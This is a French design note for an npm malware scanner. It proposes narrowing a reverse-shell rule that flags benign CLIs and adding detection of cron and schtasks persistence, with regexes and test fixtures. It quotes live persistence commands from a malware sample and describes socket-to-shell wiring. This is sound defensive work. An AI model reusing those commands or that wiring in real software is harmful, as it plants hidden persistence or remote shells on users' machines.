Deux candidats issus de la review. Ni l'un ni l'autre n'est implémenté — specs pour décision + protocole de mesure. Contraintes projet : mesurer FPR AVANT, test positif ET négatif, seuil global, pas de whitelist, ΔFPR ≤ 0.
src/scanner/ast.js:199 définit hasJsReverseShell par co-occurrence de substrings au niveau fichier, sans lien entre eux :
hasJsReverseShell: /\bnet\.Socket\b/.test(content) &&
/\.connect\s*\(/.test(content) &&
/\.pipe\b/.test(content) &&
(/\bspawn\b/.test(content) || /\bstdin\b/.test(content) || /\bstdout\b/.test(content)),handle-post-walk.js:140-148 émet alors reverse_shell CRITICAL (message : « net.Socket + connect() + pipe to shell process stdin/stdout »). Or rien n'exige que le socket soit réellement câblé au stdio d'un shell. Tout CLI qui bundle une lib réseau (undici/proxy-agent/net) contient net.Socket + .connect( + .pipe (streams) + stdout (I/O CLI) → 4 substrings présents → score 100 CRITICAL.
FP mesurés (review 2026-07-16, tous npm LIVE, lus manuellement) :
@coze/cli(score 100) — Coze platform CLI ;spawn/execréels =powershell -Command,npm config get registry@vm0/cli(score 100) —net.connect= strings d'erreur d'une lib d'interception réseau ;execFile("/usr/bin/sw_vers")@fetch-client/cli(score 100) — 0child_process;.connectdans code proxy-agent bundlé
Même famille que suspicious_dataflow (cf project_rule_audit_map : #1 sur-pondéré ~99 % FP).
Le stream d'un socket est câblé au stdio d'un process shell : socket.pipe(child.stdin) / child.stdout.pipe(socket) / spawn('/bin/sh', {stdio:[socket,socket,socket]}). Les deux contraintes manquantes : (a) un spawn de shell réel (sh/bash/cmd/powershell//bin/*sh), (b) le pipe qui relie socket ↔ stdio du child, pas la co-présence.
- Minimum viable : exiger la co-présence d'un spawn de shell —
spawn/exec*avec un argument binaire shell (/\b(spawn|exec\w*)\s*\([^)]*['"\](/bin/)?(ba)?sh|cmd(.exe)?|powershell/). Retirer le satisfieurstdin/stdout` seul (ubiquitaire). - Précis (recommandé) : dans
handle-call-expression.js, détecter le câblage réel (pipe dont la cible est unchild.stdin/stdout, oustdio:[socket,...]) et poser un flag dédiéhasJsReverseShellWired;reverse_shellne tire que sur ce flag. - Downweight bundle : appliquer
src/shared/bundle-detect.js— dans un.min.js/dist bundlé, dégrader CRITICAL→HIGH (commeself_destruct_evalfait déjà viaisDistFile), le vrai revshell n'est jamais dans un bundle vendor.
- FPR : re-scan des 3 FP confirmés →
reverse_shellne doit plus tirer (score < 20). + scan de N CLI populaires benins bundlant undici/axios/proxy-agent (depuis le set FPR benign 545) → attendureverse_shell= 0. - TPR :
tests/samples/shell+ tout GT àreverse_shell+ le fixture historiquenpx-whoami-demo(citéshell.js:65comme miss réel) → doivent toujours scorer ≥ 20. Créer un fixture positif : socket câblé àspawn('/bin/sh')→ doit tirer. Fixture négatif : CLI avec net.Socket+pipe+stdout SANS spawn shell → ne doit PAS tirer. muaddib evaluateavant/après ; comparer FPR benign + TPR@20 GT.
Revert de la condition ast.js:199 (+ flag AST si ajouté).
crontab_systemd_write (handle-call-expression.js:1978) ne tire QUE sur writeFileSync/writeFile/appendFileSync vers un chemin cron (/etc/cron, crontab, /var/spool/cron). Or phantom-syncd installe la persistance par exécution de commande :
c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -');
// et Windows :
c.execSync('schtasks /create /tn "WinNodeSync" /tr "node '+s+'" /sc hourly /mo 12 /f');Ni le | crontab - (Linux) ni le schtasks /create (Windows) ne sont détectés → la persistance n'est pas surfacée. Ce n'est PAS un miss (les packages scorent 100 via detached_credential_exfil etc.), mais un trou d'observabilité : le mécanisme de persistance — signal fort et distinctif — reste invisible dans l'alerte.
Détecter la persistance par exécution de commande sur les args de exec/execSync/spawn :
crontab\s+-(surtout piped\|\s*crontab\s+-) — écriture de crontabschtasks\s+/create— tâche planifiée Windowssystemctl\s+(enable|--user\s+enable),launchctl\s+load, write vers/etc/systemd/systemou~/.config/systemd/user- Bonus :
crontab\s+-l[^|]*\|\s*grep\s+-v(self-hiding : liste puis se retire du grep) = suspect en soi.
Émettre crontab_systemd_write (ou nouveau persistence_via_exec) CRITICAL.
Note gap connexe (changement séparé, PAS ce fix) : le payload stable keypairs.dat (stage-2, identique sur 9+ packages, 4 hashes distincts) n'est pas hashable — hash.js:52 scanne extensions:['.js'] uniquement + node_modules/ uniquement. Étendre extensions aux fixtures binaires (.dat/.bin, borné en taille) rendrait les payloads stagés hashables. (Les 7 hashes index.js seedés ce jour couvrent les renames purs ; le .dat couvrirait les repackagings.)
- TPR : scan des samples phantom-syncd →
crontab_systemd_write/persistence_via_execdoit maintenant tirer surindex.js. Fixture positif :execSync('... | crontab -')+schtasks /create. Fixture négatif :execSync('crontab -l')(lecture seule) et un script de build citant « cron » en commentaire → ne doivent PAS tirer. - FPR : scan du corpus benign (545) + random ;
\| crontab -/schtasks /createen package benin est rare → attendu ≈ 0. Documenter tout hit. - Gate : ΔFPR < ε ET TPR sur les fixtures de persistance.
Retrait du/des pattern(s) ajouté(s).
FIX 1 (reverse_shell) d'abord — c'est un générateur de FP score-100 actif (impact FPR direct). FIX 2 est de l'observabilité (pas de miss). Les deux passent par le protocole de mesure avant tout merge.